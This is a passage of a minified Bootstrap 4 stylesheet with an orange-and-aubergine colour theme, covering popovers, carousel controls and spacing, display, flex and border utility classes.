.arrow::after{bottom:1px;border-top-color:#fff}.bs-popover-right,.bs-popover-auto[x-placement^="right"]{margin-left:0.5rem}.bs-popover-right .arrow,.bs-popover-auto[x-placement^="right"] .arrow{left:calc((0.5rem + 1px) * -1);width:0.5rem;height:1rem;margin:0.3rem 0}.bs-popover-right .arrow::before,.bs-popover-auto[x-placement^="right"] .arrow::before,.bs-popover-right .arrow::after,.bs-popover-auto[x-placement^="right"] .arrow::after{border-width:0.5rem 0.5rem 0.5rem 0}.bs-popover-right .arrow::before,.bs-popover-auto[x-placement^="right"] .arrow::before{left:0;border-right-color:rgba(0,0,0,0.25)}.bs-popover-right .arrow::after,.bs-popover-auto[x-placement^="right"] .arrow::after{left:1px;border-right-color:#fff}.bs-popover-bottom,.bs-popover-auto[x-placement^="bottom"]{margin-top:0.5rem}.bs-popover-bottom .arrow,.bs-popover-auto[x-placement^="bottom"] .arrow{top:calc((0.5rem + 1px) * -1)}.bs-popover-bottom .arrow::before,.bs-popover-auto[x-placement^="bottom"] .arrow::before,.bs-popover-bottom .arrow::after,.bs-popover-auto[x-placement^="bottom"] .arrow::after{border-width:0 0.5rem 0.5rem 0.5rem}.bs-popover-bottom .arrow::before,.bs-popover-auto[x-placement^="bottom"] .arrow::before{top:0;border-bottom-color:rgba(0,0,0,0.25)}.bs-popover-bottom .arrow::after,.bs-popover-auto[x-placement^="bottom"] .arrow::after{top:1px;border-bottom-color:#fff}.bs-popover-bottom .popover-header::before,.bs-popover-auto[x-placement^="bottom"] .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-0.5rem;content:"";border-bottom:1px solid #f7f7f7}.bs-popover-left,.bs-popover-auto[x-placement^="left"]{margin-right:0.5rem}.bs-popover-left .arrow,.bs-popover-auto[x-placement^="left"] .arrow{right:calc((0.5rem + 1px) * -1);width:0.5rem;height:1rem;margin:0.3rem 0}.bs-popover-left .arrow::before,.bs-popover-auto[x-placement^="left"] .arrow::before,.bs-popover-left .arrow::after,.bs-popover-auto[x-placement^="left"] .arrow::after{border-width:0.5rem 0 0.5rem 0.5rem}.bs-popover-left .arrow::before,.bs-popover-auto[x-placement^="left"] .arrow::before{right:0;border-left-color:rgba(0,0,0,0.25)}.bs-popover-left .arrow::after,.bs-popover-auto[x-placement^="left"] .arrow::after{right:1px;border-left-color:#fff}.popover-header{padding:0.5rem 0.75rem;margin-bottom:0;font-size:1rem;color:inherit;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-top-left-radius:calc(0.3rem - 1px);border-top-right-radius:calc(0.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:0.5rem 0.75rem;color:#333}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-item{position:relative;display:none;-webkit-box-align:center;-ms-flex-align:center;align-items:center;width:100%;-webkit-transition:-webkit-transform 0.6s ease;transition:-webkit-transform 0.6s ease;transition:transform 0.6s ease;transition:transform 0.6s ease, -webkit-transform 0.6s ease;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}.carousel-item.active,.carousel-item-next,.carousel-item-prev{display:block}.carousel-item-next,.carousel-item-prev{position:absolute;top:0}.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translateX(0);transform:translateX(0)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0)}}.carousel-item-next,.active.carousel-item-right{-webkit-transform:translateX(100%);transform:translateX(100%)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-next,.active.carousel-item-right{-webkit-transform:translate3d(100%, 0, 0);transform:translate3d(100%, 0, 0)}}.carousel-item-prev,.active.carousel-item-left{-webkit-transform:translateX(-100%);transform:translateX(-100%)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-prev,.active.carousel-item-left{-webkit-transform:translate3d(-100%, 0, 0);transform:translate3d(-100%, 0, 0)}}.carousel-control-prev,.carousel-control-next{position:absolute;top:0;bottom:0;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;width:15%;color:#fff;text-align:center;opacity:0.5}.carousel-control-prev:hover,.carousel-control-prev:focus,.carousel-control-next:hover,.carousel-control-next:focus{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-prev-icon,.carousel-control-next-icon{display:inline-block;width:20px;height:20px;background:transparent no-repeat center center;background-size:100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E")}.carousel-control-next-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E")}.carousel-indicators{position:absolute;right:0;bottom:10px;left:0;z-index:15;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;padding-left:0;margin-right:15%;margin-left:15%;list-style:none}.carousel-indicators li{position:relative;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;width:30px;height:3px;margin-right:3px;margin-left:3px;text-indent:-999px;background-color:rgba(255,255,255,0.5)}.carousel-indicators li::before{position:absolute;top:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators li::after{position:absolute;bottom:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators .active{background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center}.align-baseline{vertical-align:baseline !important}.align-top{vertical-align:top !important}.align-middle{vertical-align:middle !important}.align-bottom{vertical-align:bottom !important}.align-text-bottom{vertical-align:text-bottom !important}.align-text-top{vertical-align:text-top !important}.bg-primary{background-color:#E95420 !important}a.bg-primary:hover,a.bg-primary:focus,button.bg-primary:hover,button.bg-primary:focus{background-color:#c34113 !important}.bg-secondary{background-color:#AEA79F !important}a.bg-secondary:hover,a.bg-secondary:focus,button.bg-secondary:hover,button.bg-secondary:focus{background-color:#978e83 !important}.bg-success{background-color:#38B44A !important}a.bg-success:hover,a.bg-success:focus,button.bg-success:hover,button.bg-success:focus{background-color:#2c8d3a !important}.bg-info{background-color:#17a2b8 !important}a.bg-info:hover,a.bg-info:focus,button.bg-info:hover,button.bg-info:focus{background-color:#117a8b !important}.bg-warning{background-color:#EFB73E !important}a.bg-warning:hover,a.bg-warning:focus,button.bg-warning:hover,button.bg-warning:focus{background-color:#e7a413 !important}.bg-danger{background-color:#DF382C !important}a.bg-danger:hover,a.bg-danger:focus,button.bg-danger:hover,button.bg-danger:focus{background-color:#bc271c !important}.bg-light{background-color:#e9ecef !important}a.bg-light:hover,a.bg-light:focus,button.bg-light:hover,button.bg-light:focus{background-color:#cbd3da !important}.bg-dark{background-color:#772953 !important}a.bg-dark:hover,a.bg-dark:focus,button.bg-dark:hover,button.bg-dark:focus{background-color:#511c39 !important}.bg-white{background-color:#fff !important}.bg-transparent{background-color:transparent !important}.border{border:1px solid #dee2e6 !important}.border-top{border-top:1px solid #dee2e6 !important}.border-right{border-right:1px solid #dee2e6 !important}.border-bottom{border-bottom:1px solid #dee2e6 !important}.border-left{border-left:1px solid #dee2e6 !important}.border-0{border:0 !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.border-primary{border-color:#E95420 !important}.border-secondary{border-color:#AEA79F !important}.border-success{border-color:#38B44A !important}.border-info{border-color:#17a2b8 !important}.border-warning{border-color:#EFB73E !important}.border-danger{border-color:#DF382C !important}.border-light{border-color:#e9ecef !important}.border-dark{border-color:#772953 !important}.border-white{border-color:#fff !important}.rounded{border-radius:0.25rem !important}.rounded-top{border-top-left-radius:0.25rem !important;border-top-right-radius:0.25rem !important}.rounded-right{border-top-right-radius:0.25rem !important;border-bottom-right-radius:0.25rem !important}.rounded-bottom{border-bottom-right-radius:0.25rem !important;border-bottom-left-radius:0.25rem !important}.rounded-left{border-top-left-radius:0.25rem !important;border-bottom-left-radius:0.25rem !important}.rounded-circle{border-radius:50% !important}.rounded-0{border-radius:0 !important}.clearfix::after{display:block;clear:both;content:""}.d-none{display:none !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-block{display:block !important}.d-table{display:table !important}.d-table-row{display:table-row !important}.d-table-cell{display:table-cell !important}.d-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}@media (min-width: 576px){.d-sm-none{display:none !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-block{display:block !important}.d-sm-table{display:table !important}.d-sm-table-row{display:table-row !important}.d-sm-table-cell{display:table-cell !important}.d-sm-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-sm-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 768px){.d-md-none{display:none !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-block{display:block !important}.d-md-table{display:table !important}.d-md-table-row{display:table-row !important}.d-md-table-cell{display:table-cell !important}.d-md-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-md-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 992px){.d-lg-none{display:none !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-block{display:block !important}.d-lg-table{display:table !important}.d-lg-table-row{display:table-row !important}.d-lg-table-cell{display:table-cell !important}.d-lg-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-lg-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 1200px){.d-xl-none{display:none !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-block{display:block !important}.d-xl-table{display:table !important}.d-xl-table-row{display:table-row !important}.d-xl-table-cell{display:table-cell !important}.d-xl-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-xl-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media print{.d-print-none{display:none !important}.d-print-inline{display:inline !important}.d-print-inline-block{display:inline-block !important}.d-print-block{display:block !important}.d-print-table{display:table !important}.d-print-table-row{display:table-row !important}.d-print-table-cell{display:table-cell !important}.d-print-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-print-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive::before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive iframe,.embed-responsive embed,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9::before{padding-top:42.8571428571%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}@media (min-width: 576px){.flex-sm-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-sm-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-sm-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-sm-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-sm-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-sm-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-sm-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-sm-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-sm-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-sm-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-sm-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-sm-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-sm-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-sm-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-sm-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-sm-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-sm-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-sm-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-sm-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-sm-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-sm-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-sm-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-sm-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-sm-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-sm-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-sm-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-sm-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-sm-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 768px){.flex-md-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-md-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-md-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-md-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-md-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-md-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-md-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-md-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-md-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-md-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-md-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-md-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-md-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-md-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-md-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-md-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-md-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-md-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-md-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-md-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-md-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-md-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-md-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-md-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-md-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-md-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-md-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-md-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-md-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 992px){.flex-lg-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-lg-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-lg-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-lg-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-lg-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-lg-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-lg-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-lg-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-lg-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-lg-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-lg-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-lg-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-lg-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-lg-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-lg-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-lg-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-lg-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-lg-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-lg-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-lg-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-lg-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-lg-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-lg-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-lg-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-lg-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-lg-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-lg-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-lg-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-lg-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 1200px){.flex-xl-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-xl-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-xl-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-xl-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-xl-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-xl-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-xl-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-xl-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-xl-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-xl-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-xl-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-xl-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-xl-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-xl-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-xl-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-xl-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-xl-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-xl-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-xl-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-xl-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-xl-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-xl-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-xl-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-xl-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-xl-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-xl-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-xl-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-xl-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-xl-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media (min-width: 576px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media (min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media (min-width: 992px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media (min-width: 1200px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:-webkit-sticky !important;position:sticky !important}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}@supports (position: -webkit-sticky) or (position: sticky){.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;-webkit-clip-path:inset(50%);clip-path:inset(50%);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal;-webkit-clip-path:none;clip-path:none}.w-25{width:25% !important}.w-50{width:50% !important}.w-75{width:75% !important}.w-100{width:100% !important}.h-25{height:25% !important}.h-50{height:50% !important}.h-75{height:75% !important}.h-100{height:100% !important}.mw-100{max-width:100% !important}.mh-100{max-height:100% !important}.m-0{margin:0 !important}.mt-0,.my-0{margin-top:0 !important}.mr-0,.mx-0{margin-right:0 !important}.mb-0,.my-0{margin-bottom:0 !important}.ml-0,.mx-0{margin-left:0 !important}.m-1{margin:0.25rem !important}.mt-1,.my-1{margin-top:0.25rem !important}.mr-1,.mx-1{margin-right:0.25rem !important}.mb-1,.my-1{margin-bottom:0.25rem !important}.ml-1,.mx-1{margin-left:0.25rem !important}.m-2{margin:0.5rem !important}.mt-2,.my-2{margin-top:0.5rem !important}.mr-2,.mx-2{margin-right:0.5rem !important}.mb-2,.my-2{margin-bottom:0.5rem !important}.ml-2,.mx-2{margin-left:0.5rem !important}.m-3{margin:1rem !important}.mt-3,.my-3{margin-top:1rem !important}.mr-3,.mx-3{margin-right:1rem !important}.mb-3,.my-3{margin-bottom:1rem !important}.ml-3,.mx-3{margin-left:1rem !important}.m-4{margin:1.5rem !important}.mt-4,.my-4{margin-top:1.5rem !important}.mr-4,.mx-4{margin-right:1.5rem !important}.mb-4,.my-4{margin-bottom:1.5rem !important}.ml-4,.mx-4{margin-left:1.5rem !important}.m-5{margin:3rem !important}.mt-5,.my-5{margin-top:3rem !important}.mr-5,.mx-5{margin-right:3rem !important}.mb-5,.my-5{margin-bottom:3rem !important}.ml-5,.mx-5{margin-left:3rem !important}.p-0{padding:0 !important}.pt-0,.py-0{padding-top:0 !important}.pr-0,.px-0{padding-right:0 !important}.pb-0,.py-0{padding-bottom:0 !important}.pl-0,.px-0{padding-left:0 !important}.p-1{padding:0.25rem !important}.pt-1,.py-1{padding-top:0.25rem !important}.pr-1,.px-1{padding-right:0.25rem !important}.pb-1,.py-1{padding-bottom:0.25rem !important}.pl-1,.px-1{padding-left:0.25rem !important}.p-2{padding:0.5rem !important}.pt-2,.py-2{padding-top:0.5rem !important}.pr-2,.px-2{padding-right:0.5rem !important}.pb-2,.py-2{padding-bottom:0.5rem !important}.pl-2,.px-2{padding-left:0.5rem !important}.p-3{padding:1rem !important}.pt-3,.py-3{padding-top:1rem !important}.pr-3,.px-3{padding-right:1rem !important}.pb-3,.py-3{padding-bottom:1rem !important}.pl-3,.px-3{padding-left:1rem !important}.p-4{padding:1.5rem !important}.pt-4,.py-4{padding-top:1.5rem !important}.pr-4,.px-4{padding-right:1.5rem !important}.pb-4,.py-4{padding-bottom:1.5rem !important}.pl-4,.px-4{padding-left:1.5rem !important}.p-5{padding:3rem !important}.pt-5,.py-5{padding-top:3rem !important}.pr-5,.px-5{padding-right:3rem !important}.pb-5,.py-5{padding-bottom:3rem !important}.pl-5,.px-5{padding-left:3rem !important}.m-auto{margin:auto !important}.mt-auto,.my-auto{margin-top:auto !important}.mr-auto,.mx-auto{margin-right:auto !important}.mb-auto,.my-auto{margin-bottom:auto !important}.ml-auto,.mx-auto{margin-left:auto !important}@media (min-width: 576px){.m-sm-0{margin:0 !important}.mt-sm-0,.my-sm-0{margin-top:0 !important}.mr-sm-0,.mx-sm-0{margin-right:0 !important}.mb-sm-0,.my-sm-0{margin-bottom:0 !important}.ml-sm-0,.mx-sm-0{margin-left:0 !important}.m-sm-1{margin:0.25rem !important}.mt-sm-1,.my-sm-1{margin-top:0.25rem 